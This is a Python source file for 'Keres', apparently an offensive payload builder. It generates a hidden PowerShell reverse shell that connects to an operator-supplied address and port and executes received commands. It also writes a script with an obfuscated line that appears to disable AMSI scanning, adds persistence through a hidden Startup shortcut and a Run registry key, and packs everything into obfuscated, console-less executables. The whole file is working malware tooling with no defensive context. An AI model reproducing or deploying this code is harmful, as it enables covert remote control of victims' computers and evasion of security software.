keres.py

import argparse
import colorama
from colorama import Fore, Style
import os
import random
import subprocess
import sys
import platform
import base64
import re
import time
def display_ansi_art(file_path):
    with open(file_path, 'r', encoding='latin-1') as file:
        ansi_art = file.read()
    print(ansi_art)

def create_linux(py_file):
    try:
       
        icons_directory = "icons"
        icon_file = os.path.join(icons_directory, 'keres.ico')  # Default icon file path
        is_windows = platform.system().lower() == "windows"
        python_executable = "python" if is_windows else "python3"
        if platform.system().lower() == "windows":
            raise Exception("You need to compile in a Linux environment .")
        nuitka_command = [
            python_executable, "-m", "nuitka",
            "--onefile",
            "--company-name=Keres",
            "--file-version=1.2",
            "--copyright=COPYRIGHT@Keres",
            "--trademarks=No Enemies",
            f"--windows-icon-from-ico=icons/keres.ico",
            "--disable-console",
            "--standalone",
            "--remove-output",
            f"--output-dir=Output",
            f"--output-filename=Keres",
            
            py_file
        ]
        

        try:
            
            subprocess.run(nuitka_command)
        except subprocess.CalledProcessError as e:
            print(f"Error in subprocess: {e}")

        print("Linux Executable creation process completed.")
    except Exception as e:
        print(f"An error occurred: {e}")
def create_exe(py_file):
    try:
        

        try:
            subprocess.run(["pyarmor", "cfg", "restrict_module=0"])
        except subprocess.CalledProcessError as e:
            print(f"Error in subprocess: {e}")

        try:
            subprocess.run(["pyarmor", "g", "pewpew.py"])
        except subprocess.CalledProcessError as e:
            print(f"Error in subprocess: {e}")

        try:
            py_file = './dist/pewpew.py' if os.path.exists('./dist/pewpew.py') else './pewpew.py'
            icons_directory = "icons"
            icon_file = os.path.join(icons_directory, 'keres.ico')  # Default icon file path
            is_windows = platform.system().lower() == "windows"
            python_executable = "python" if is_windows else "python3"
            if platform.system().lower() != "windows":
                raise Exception("You need to compile in a Windows environment use -Pl to specify target Platforme .")
            nuitka_command = [
                python_executable, "-m", "nuitka",
                "--onefile",
                "--company-name=Keres",
                "--file-version=1.2",
                "--copyright=COPYRIGHT@Keres",
                "--trademarks=No Enemies",
                f"--windows-icon-from-ico=icons/keres.ico",
                "--disable-console",
                "--standalone",
                "--remove-output",
                f"--output-dir=Output",
                f"--output-filename=Keres",
                "--include-package=pyarmor_runtime_000000",
                py_file
            ]
           
            subprocess.run(nuitka_command)
        except subprocess.CalledProcessError as e:
            print(f"Error in subprocess: {e}")

        print("windows Executable creation process completed check ./dist.")
    except Exception as e:
        print(f"An error occurred: {e}")
def encode_powershell_command(command):
    # """"""""""""""
    command_bytes = command.encode('utf-16-le')

    #" """"""""""""""""""""""""""""""""
    encoded_command = base64.b64encode(command_bytes).decode('utf-8')

    return encoded_command
def main():
    colorama.init(autoreset=True)  # Initialize colorama for Windows
    ans_directory = 'banners'
    spec= os.path.abspath(".")
    spec_files= [file for file in os.listdir(spec) if file.endswith('.spec')]
    ans_files = [file for file in os.listdir(ans_directory) if file.endswith('.ans')]
    if not ans_files:
        print("No .ans files found in the current directory.")
        return
    for file in spec_files:
        if file.endswith('.spec'):
            file_path = os.path.join(spec, file)
            os.remove(file_path)
            print(f"Deleted file: {file}")
    random_ans_file = os.path.join(ans_directory, random.choice(ans_files))
    display_ansi_art(random_ans_file)
    introduction = ( 
        Fore.YELLOW + "                  Remember, You have no enemies \n"
        "Version: 1.0\n"
        "Author: ELMERIKH\n" + Style.RESET_ALL
    )
    print(introduction)
    ans_directory = 'banners'
    parser = argparse.ArgumentParser(description="Keres=Demon")
    parser.add_argument("-a", "--address", required=True, help="Specify  address")
    parser.add_argument("-p", "--port", required=True, type=int, help="Specify  port")
    parser.add_argument("-Ps", "--save_ps_command", action="store_true", help="Save the PowerShell payload to a Keres.ps1 file in the Output folder")
    parser.add_argument("-Pl", "--platform", choices=['Linux', 'Windows'], help="Choose the targeted platform (Linux or Windows)")
    parser.add_argument("-go", "--go", action="store_true", help="build  binary from go payload")

    args = parser.parse_args()
    server_address = args.address
    port_number = args.port
    global pow
    ps_command = f'''
$uniqueIdentifier = "Keres"
$maxProcesses = 1
$spawnedProcesses = 0

while ($true){{
    $isRunning = Get-Process -Name powershell -ErrorAction SilentlyContinue | Where-Object {{ $_.CommandLine -like "*$uniqueIdentifier*" }}

    if (-not $isRunning -and $spawnedProcesses -lt $maxProcesses) {{
        $connectionTest = Test-Connection -ComputerName '{server_address}' -Count 1 -Quiet

        if ($connectionTest) {{
            Start-Process $PSHOME\powershell.exe -ArgumentList {{
                $uniqueIdentifier
                $client = New-Object System.Net.Sockets.TcpClient

                try {{
                    $client.Connect('{server_address}', {port_number})
                    $stream = $client.GetStream()

                    while ($true) {{
                        if (-not $client.Connected) {{
                            Write-Host "Connection lost. Reconnecting..."
                            Start-Sleep -Seconds 60  # Wait for 60 seconds before attempting to reconnect
                            break
                        }}

                        $bytes = New-Object byte[] 65535
                        $i = $stream.Read($bytes, 0, $bytes.Length)

                        if ($i -le 0) {{
                            Write-Host "Connection to server closed. Reconnecting..."
                            Start-Sleep -Seconds 60  # Wait for 60 seconds before attempting to reconnect
                            break
                        }}

                        $data = [System.Text.Encoding]::ASCII.GetString($bytes, 0, $i)
                        $sendback = (iex $data 2>&1 | Out-String)
                        $sendback2 = $sendback + 'PS ' + (Get-Location).Path + '> '
                        $sendbyte = [System.Text.Encoding]::ASCII.GetBytes($sendback2)
                        $stream.Write($sendbyte, 0, $sendbyte.Length)
                        $stream.Flush()
                    }}
                }} catch {{
                    Write-Host "Error: $_"
                }} finally {{
                    if ($stream) {{ $stream.Close() }}
                    if ($client) {{ $client.Close() }}
                }}
            }} -WindowStyle Hidden

            $spawnedProcesses++
        }} else {{
            Write-Host "No connection to the server. Skipping process spawn."
        }}
    }} elseif ($spawnedProcesses -ge $maxProcesses) {{
        Write-Host "Maximum number of processes reached. Skipping process spawn."
    }} else {{
        Write-Host "Script is already running."
    }}

    # Count processes after a 60-second wait
    Start-Sleep -Seconds 60
    $spawnedProcesses = (Get-Process -Name powershell -ErrorAction SilentlyContinue | Where-Object {{ $_.CommandLine -like "*$uniqueIdentifier*" }}).Count
}}

'''
    encoded_ps_command = encode_powershell_command(ps_command)
    if args.go and args.platform:
        with open("pewpew.go", 'r') as file:
            content = file.read()

    # Use regular expression to find and replace the encodedPSCmd line
        content = re.sub(r'encodedPSCmd := "(.*?)"', f'encodedPSCmd := "{encoded_ps_command}"', content)

        with open("pewpew.go", 'w') as file:
            file.write(content)
        if platform.system().lower() != "windows":
            if args.platform=="Windows":
                subprocess.run("export GOOS=windows GOARCH=amd64", shell=True)
                time.sleep(1)
                subprocess.run("garble -literals -tiny build  -ldflags '-s -w -H=windowsgui' -o ./Output/keres.exe pewpew.go", shell=True)
                print("Finished creating the executable in Output folder.")
            if args.platform=="Linux":

                subprocess.run("export GOOS=linux ", shell=True)
                time.sleep(1)
                subprocess.run("garble -literals -tiny build -ldflags '-s -w -H=windowsgui' -o  ./Output/keres pewpew.go", shell=True)
                print("Finished creating the executable in Output folder.")
        
        else:
            if args.platform=="Windows":
                subprocess.run("""garble  -literals -tiny build -buildmode=pie -ldflags "-s -w -H=windowsgui" -o ./Output/keres.exe pewpew.go """)
                print("Finished creating the executable in Output folder.")
            
        return
    if args.save_ps_command:
        ps_file_path = os.path.join("Output", "Keres.ps1")
        with open(ps_file_path, 'w') as ps_file:
            ps_file.write(""" 
param(
    [string]$ScriptPath =(Resolve-Path -Path $MyInvocation.MyCommand.Path),
    [string]$IconLocation = "C:\Program Files\Windows NT\Accessories\wordpad.exe",
    [string]$HotKey = "CTRL+W",
    [string]$Description = "powershell",
    [int]$WindowStyle = 7,
    [switch]$Hidden = $true,
    [switch]$p,
    [string]$ScriptArgument = ""
)

$ilinuim = $([char[]]('
',"`n",'[','R','e','F',']','.','"',"``",'A',"`$","`(",'e','c','h','o',' ','s','s','e',"`)","``",'m','B',"`$","`(",'e','c','h','o',' ','L',"`)","``",'Y','"','.','"','g',"``",'E',"`$","`(",'e','c','h','o',' ','t','t','y',"`)",'p',"``",'E','"',"`(","`(",' ','"','S','y','{','3','}','a','n','a','{','1','}','u','t','{','4','}','t','i','{','2','}','{','0','}','i','l','s','"',' ','-','f',"'",'i','U','t',"'",',',"'",'g','e','m','e','n','t','.','A',"'",',','"','o','n','.','A','m',"``",'s','"',',',"'",'s','t','e','m','.','M',"'",',',"'",'o','m','a',"'","`)",' ',"`)",'.','"',"`$","`(",'e','c','h','o',' ','g','e',"`)","``",'T','f',"``",'i',"`$","`(",'e','c','h','o',' ','E','l',"`)",'D','"',"`(","`(",'"','{','0','}','{','2','}','n','i','{','1','}','i','l','e','d','"',' ','-','f',"'",'a','m',"'",',',"'",'t','F','a',"'",',','"',"``",'s','i','I','"',"`)",',',"`(",'"','{','2','}','u','b','l','{','0','}',"``",',','{','1','}','{','0','}','"',' ','-','f',' ',"'",'i','c',"'",',',"'",'S','t','a','t',"'",',',"'",'N','o','n','P',"'","`)","`)",'.','"',"`$","`(",'e','c','h','o',' ','S','e',"`)",'t',"``",'V','a',"`$","`(",'e','c','h','o',' ','L','U','E',"`)",'"',"`(","`$","`(","`)",',',"`$","`(",'1',' ','-','e','q',' ','1',"`)","`)") -join ''); Invoke-Expression $ilinuim
# If -p parameter is present, create the shortcut
if ($p) {
    #Define the path for the shortcut in the Startup folder
	$shortcutPath = "$([Environment]::GetFolderPath('Startup'))\Meow.lnk"
	$registryPath = 'HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run'
    Set-ItemProperty -Path $registryPath -Name Meow -Value $shortcutPath

    # Create a WScript Shell object
    $wshell = New-Object -ComObject Wscript.Shell

    # Create or modify the shortcut object
    $shortcut = $wshell.CreateShortcut($shortcutPath)

    # Set the icon location for the shortcut
    $shortcut.IconLocation = $IconLocation

    # Set the target path and arguments for the shortcut
    $shortcut.TargetPath = "powershell.exe"
    $shortcut.Arguments = "-WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -File $ScriptPath "

    # Set the working directory for the shortcut
    $shortcut.WorkingDirectory = (Get-Item $ScriptPath).DirectoryName

    # Set a hotkey for the shortcut
    $shortcut.HotKey = $HotKey

    # Set a description for the shortcut
    $shortcut.Description = $Description

    # Set the window style for the shortcut
    $shortcut.WindowStyle = $WindowStyle

    # Save the shortcut
    $shortcut.Save()

    # Optionally set the 'Hidden' attribute
    if ($Hidden) {
        [System.IO.File]::SetAttributes($shortcutPath, [System.IO.FileAttributes]::Hidden)
    }
}\npowershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand """+encoded_ps_command)
        print('\n')
        print('generated  Powershell payload')
        print('\n')
        print(f"PowerShell payload saved to: {ps_file_path}")
        return
    
    if hasattr(sys, '_MEIPASS'):
        bundle_dir = sys._MEIPASS
    else:
        bundle_dir = os.path.abspath(".")
    pewpew=encoded_ps_command
    paw_path = os.path.join(bundle_dir, 'pewpew.py')
    with open(paw_path, 'r') as paw_file:
        paw_contents = paw_file.read()
    start_marker = "ps_command = ''' "
    end_marker = "'''"
    start_index = paw_contents.index(start_marker) + len(start_marker)
    end_index = paw_contents.index(end_marker, start_index)

# Replace the old powershell section with the new formatted PowerShell script
    new_paw_contents = paw_contents[:start_index] + pewpew + paw_contents[end_index:]
    with open(paw_path, 'w') as paw_file:
        paw_file.write(new_paw_contents)

    if args.platform =='Linux':
        
        create_linux("./lkeres.py")
        print("Finished creating the executable in Output folder.")
        sys.exit()

    print('\n')
    print('generated  Powershell command')
    print('\n')
    
   
    if args.go: 
        print('\n')
        print("You need to specify target platforme.")
        print('\n')
        exit()
    else:
        print('\n')
        print("Creating the executable...")
        print('\n')   
        create_exe('.dist/pewpew.py')
    print("Finished creating the executable in Output folder.")
    

if __name__ == "__main__":
    main()